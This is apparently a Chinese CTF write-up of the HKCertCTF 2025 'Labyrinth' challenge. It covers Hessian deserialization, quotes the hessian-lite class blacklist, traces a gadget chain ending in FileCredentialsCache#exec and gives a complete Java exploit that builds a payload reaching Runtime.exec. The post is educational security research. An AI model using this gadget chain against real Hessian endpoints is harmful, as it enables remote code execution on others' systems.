HkcertCTF Labyrinth复现

前言

就差这一道题就进线下了啊,还是可惜了,看了一两天还是寄了。哈gemini一直幻觉我也没招了。

这道Hessian反序列化确实还是有很多值得学习的地方,所以赛后也是速通了一下。

分析

版本为hessian-lite 4.0.5,最新版,之前本来有一个议题思路是hessian的新gadget,但是此处最新版就把它修复了,黑名单里也能看到。

反序列化接口非常简单粗暴,没什么好说的,直接看怎么挖掘吧。

回到题目本身,给出了一个CustomeProxy,里面实现了一个compareTo方法可以触发invoke方法,那么我们的思路肯定要用到这个自定义Proxy作为一部分跳板。

image-20251230150917872

这里很容易想到RCTF2025那个maybe_easy的题目:2025 RCTF SU WriteUp -,这里可以入口必定是用TreeMap来触发compareTo方法,但是注意需要传入一个InvocationHandler或者它的继承。这里写几个查询倒是能查到好多个满足条件的,但是大多数也都过不了黑名单。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.

这里提一句2025blackhat-jdd hessian反序列化这条gadget吧:

从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造

具体可以直接去搜这些,分析的文章也很多了。

但是此处com.sun.corba.se.impl.activation显然被ban了,正赛的时候搞了两天都没搞出来,差点还以为能用MethodInvokeTypeProvider调用任意无参方法了,但其实是幻觉。。。AI看来也暂时还没那么王朝(

最后也是只有pj和AAA打出来这道,这里给出AAA挖掘的gadget。

1
2
3
4
5
6
7
Hessian2Input#readObject ->
TreeMap ->
CustomProxy#compareTo() ->
MultiplexProvider#invoke() ->
DTraceProbe#uncheckedTrigger() ->
Method#invoke() ->
FileCredentialsCache#exec()

这其实是老链,因为Hessian和Xstream有很多类似的地方,所以有可能gadget能互通。

这里用到了一个至关重要的sun.tracing.ProviderSkeleton,它他是一个abstract,一共四个实现类:

image-20251230151708906

此处sun.tracing.PrintStreamProvidersun.tracing.NullProvidersun.tracing.MultiplexProvider经本地测试均可用,三选一即可。

最重要是它不在黑名单里,并且能帮我们搭建起反序列化链的桥梁,我们来跟一下:

image-20251230174051749

从TreeMap触发到compareTo:

image-20251230175853289

赋值m3方法为java.io.File.compareTo(java.io.File),满足触发invoke函数的条件:

image-20251230175737857

继续跟进触发到sun.tracing.ProviderSkeleton#triggerProbe(),注意这个sun.tracing.ProviderSkeleton完美继承了InvocationHandler并且没被黑名单掉:

image-20251230180524710

image-20251230180418859

接着调用到uncheckedTrigger方法,触发到下一个invoke方法:

image-20251230180557716

image-20251230180628359

接着继续触发到Method#invoke等,几乎全是invoke方法:

image-20251230180719271

image-20251230180752647

image-20251230180824910

sink点找的是sun.security.krb5.internal.ccache.FileCredentialsCache#exec,其实此时已经可以调用任意方法了,只是需要一个没被黑名单ban掉的sink,当时正赛的时候我找jndi基本没找到,除非是tomcat-core里有的JNDI注入点这种。

但这个sink打windows环境没有任何问题,打linux环境复现的时候就没办法跑通,有点玄学。。。

继续跟进可以看到能到达它的Runtime.getRuntime().exec()

image-20251230181217766

image-20251230181319339

最后也是直接弹出calc,反序列化完成:

image-20251230181409510

调用栈如下:

image-20251230181527694

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
package exp.eddiemurphy;

import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import org.example.labyrinth.model.CustomProxy;
import sun.security.krb5.internal.ccache.FileCredentialsCache;
//import sun.tracing.ProbeSkeleton;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.TreeMap;

//Gadget chain:
// Hessian2Input#readObject ->
// TreeMap ->
// CustomProxy#compareTo() ->
// MultiplexProvider#invoke() ->
// DTraceProbe#uncheckedTrigger() ->
// Method#invoke() ->
// FileCredentialsCache#exec("calc")

public class Exp {
public static void main(String[] args) throws Exception {

// 1. 初始化 InvocationHandler (MultiplexProvider)
// 这个 Handler 将在 CustomProxy 的方法被调用时触发 invoke 方法
// 此处InvocationHandler选用sun.tracing.ProbeSkeleton抽象类下继承的这三个类均可:
// sun.tracing.PrintStreamProvider,sun.tracing.NullProvider,sun.tracing.MultiplexProvider
InvocationHandler invocationHandler = (InvocationHandler) createWithoutConstructor(Class.forName("sun.tracing.MultiplexProvider"));
setFieldValue(invocationHandler, "probes", new HashMap<>());
setFieldValue(invocationHandler, "active", true);
setFieldValue(invocationHandler, "providerType", File.class);

HashMap<Method, Object> probes = new HashMap<>();

// 2. Sink (FileCredentialsCache.exec)
// 执行的恶意方法
Object o2 = FileCredentialsCache.acquireInstance();
Method m2 = FileCredentialsCache.class.getDeclaredMethod("exec", String.class);
m2.setAccessible(true);

String evilCmd = "calc";

// 3. 构造 Probe (DTraceProbe)
// 这个 Probe 被触发时,会反射调用我们设置的 m2 (exec) 方法,对象为 o2
Object dtProbe = getDTraceprobe(o2, m2);

// 4. 关联方法与 Probe
// 当 CustomProxy 上的 File.compareTo 方法被调用时,MultiplexProvider 会查找并执行这个 dtProbe
Method methodRef = File.class.getMethod("compareTo", File.class);

probes.put(methodRef, dtProbe);
setFieldValue(invocationHandler, "probes", probes);

// 5. 创建代理对象 (CustomProxy)
// 这个对象将作为 TreeMap 的 Key。当 TreeMap 比较 Key 时,会调用这个代理对象的 compareTo 方法
Object objCompareTo = new CustomProxy(invocationHandler, methodRef);

// 6. 构造入口 (TreeMap)
// 将代理对象放入 TreeMap 中。反序列化 TreeMap 时会重建树结构,触发 compareTo -> invoke -> probe -> exec
TreeMap treeMap = triggerTreeMap(objCompareTo, evilCmd);

// 7. Hessian 序列化生成 payload
byte[] payload = hessianSerialize(treeMap);

System.out.println("Payload generated. Size: " + payload.length);

String filename = "payload.bin";
try (FileOutputStream fos = new FileOutputStream(filename)) {
fos.write(payload);
}
System.out.println("Payload written to " + filename);

// 8. Hessian 反序列化
hessianDeserialize(payload);
}

public static TreeMap<Object,Object> triggerTreeMap(Object eq1, Object eq2) throws Exception {

TreeMap<Object,Object> treeMap = new TreeMap<>();
setFieldValue(treeMap, "size", 2);

Class<?> entryC = Class.forName("java.util.TreeMap$Entry");
Constructor<?> cons = entryC.getDeclaredConstructor(Object.class, Object.class, entryC);
cons.setAccessible(true);

Object root = cons.newInstance(eq1, eq1, null);
Object left = cons.newInstance(eq2, eq2, root);
Object right = cons.newInstance(eq2, eq2, root);

setFieldValue(root, "left", left);
setFieldValue(root, "right", right);

setFieldValue(treeMap, "root", root);

return treeMap;
}

private static Object getDTraceprobe(Object o2, Method m2) throws Exception {
Object dtProbe = createWithoutConstructor(Class.forName("sun.tracing.dtrace.DTraceProbe"));

/*
* protected Class<?>[] parameters;
* private Object proxy;
private Method declared_method;
private Method implementing_method;

*/

setFieldValue(dtProbe, "proxy", o2);
setFieldValue(dtProbe, "declared_method", m2);
setFieldValue(dtProbe, "implementing_method", m2);
Class<?>[] paramTypes = m2.getParameterTypes();
setFieldValue(dtProbe, "parameters", paramTypes);
return dtProbe;
}
}

后记

打windows服务下弹calc和dnslog均可,但是linux打不通有点抽象。。。

image-20251230181845193

image-20251230181853894

总是报错在Proxy这里就似了,报空指针错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
java.lang.NullPointerException
at org.example.labyrinth.model.CustomProxy.compareTo(CustomProxy.java:31)
at java.util.TreeMap.put(TreeMap.java:568)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap(MapDeserializer.java:143)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:124)
at com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:96)
at com.alibaba.com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:621)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2851)
at com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2419)
at org.example.labyrinth.controller.ChallengeController.hessianDeserialize(ChallengeController.java:22)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1072)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:965)

据说AAA赛后用snakeyaml打的load jar,EL没成功过,难绷。

如果有思路再尝试尝试吧,反正都能调用任意方法了,找个好使的sink应该没啥问题。

有点可惜吧,这道要是做出来了咱就能去线下了wwwww

参考:

HKCertCTF 2025 labyrinth | unknown’s Blog

java动态代理触发触发命令执行 - unam4

Hessian 反序列化知一二 | 素十八

从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造

从2025blackhat-jdd hessian反序列化jdk原生新链开始学习链子构造-先知社区

blackhat-JDD-hessian反序列化jdk_fastjson链


HkcertCTF Labyrinth复现
https://eddiemurphy89.github.io/2025/12/30/HkcertCTF-Labyrinth复现/
作者
EddieMurphy
发布于
2025年12月30日
许可协议